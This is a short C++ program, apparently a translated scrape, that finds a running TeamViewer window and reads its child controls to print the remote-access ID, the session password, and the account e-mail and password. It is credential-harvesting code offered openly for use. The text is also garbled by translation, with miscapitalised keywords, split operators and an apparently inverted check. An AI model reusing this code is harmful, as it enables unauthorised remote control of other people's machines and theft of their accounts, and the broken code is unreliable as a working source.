#define Win32_lean_and_mean #include <windows.h> #include <iostream> #include <string.h> #pragma Comment (lib, "kernel32") #pragma comment (lib, "user32") int status = 0; BOOL CALLBACK Enummaintvwindow (HWND hwnd, LPARAM LPARAM) {const int buffersize = 1024; Char buffercontent[buffersize] = ""; SendMessage (hwnd, Wm_gettext, (WPARAM) buffersize, (LPARAM) buffercontent); if (status = = 1) {printf ("%s\n", buffercontent); Status = 0; } if (Strstr (buffercontent, "Allow remote control")! = NULL) {status = 1; printf ("TeamViewer ID:"); } if (Strstr (buffercontent, "Tell your partner")! = NULL) {status = 1; printf ("TeamViewer PASS:"); } return 1; } BOOL CALLBACK Enumaccountwindow (HWND hwnd, LPARAM LPARAM) {const int buffersize = 1024; Char buffercontent[buffersize] = ""; SendMessage (hwnd, Wm_gettext, (WPARAM) buffersize, (LPARAM) buffercontent); if (status = = 1) {printf ("%s\n", buffercontent); Status = 0; } if (Strstr (buffercontent, "e-mail") = = NULL) {status = 1; printf ("E-mail:"); } if (Strstr (buffercontent, "password")! = NULL) {status = 1; printf ("Password:"); } return 1; } int main () {HWND hwndteamviewer = FindWindow (NULL, "TeamViewer"); if (hwndteamviewer) {enumchildwindows (hwndteamviewer, Enummaintvwindow, 0); } HWND Hwndaccount = FindWindow (NULL, "Computer and Contacts"); if (hwndaccount) {enumchildwindows (hwndaccount, Enumaccountwindow, 0); } return 0; }
Get the account and password of TeamViewer in operation--Chinese version